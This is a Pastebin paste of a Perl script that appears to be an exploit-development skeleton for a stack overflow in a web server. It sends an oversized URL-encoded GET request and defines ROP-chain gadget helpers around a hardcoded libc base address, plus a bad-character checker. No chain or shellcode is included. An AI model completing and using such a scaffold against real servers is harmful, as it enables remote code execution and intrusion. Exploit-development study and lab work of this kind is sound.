Advertisement
Guest User

Untitled

a guest
Dec 10th, 2018
80
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.13 KB | None | 0 0
  1. #!/usr/bin/perl
  2.  
  3. $| = 1; # turn off output buffering
  4.  
  5. $libc_base = 0xb6e9c000; # libc base address
  6.  
  7. $buf = "A" x 343;
  8.  
  9. $uri = $buf;
  10.  
  11. # URL Encode
  12. $uri =~ s/([^A-Za-z0-9\/])/sprintf("%%%02X", ord($1))/seg;
  13.  
  14. $request = "GET /${uri} HTTP/1.0\n\n";
  15. print $request;
  16.  
  17.  
  18. ##### HELPER FUNCTIONS FOR ROP CHAINING #####
  19.  
  20. # function to create a libc gadget
  21. # requires a global variable called $libc_base;
  22. sub libc {
  23. my ($offset) = @_;
  24.  
  25. if($libc_base == 0) {
  26. die('$libc_base not defined');
  27. }
  28.  
  29. return(pack("V", $libc_base + $offset));
  30. }
  31.  
  32. # function to represent data on the stack
  33. sub data {
  34. my ($data) = @_;
  35.  
  36. return(pack("V", $data));
  37. }
  38.  
  39. # function to check for bad characters
  40. # run this before sending out the payload
  41. # e.g. badchars($payload, "\x00\x0a\x0d/?");
  42. sub detect_badchars {
  43. my ($string, $badchars) = @_;
  44.  
  45. my $i;
  46.  
  47. foreach $badchar (split(//, $badchars)) {
  48. $i = index($string, $badchar);
  49. while($i != -1) {
  50. printf STDERR "[!] 0x%02x appears at position %d\n", ord($badchar), $i;
  51. $i = index($string, $badchar, ++$i);
  52. }
  53. }
  54. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement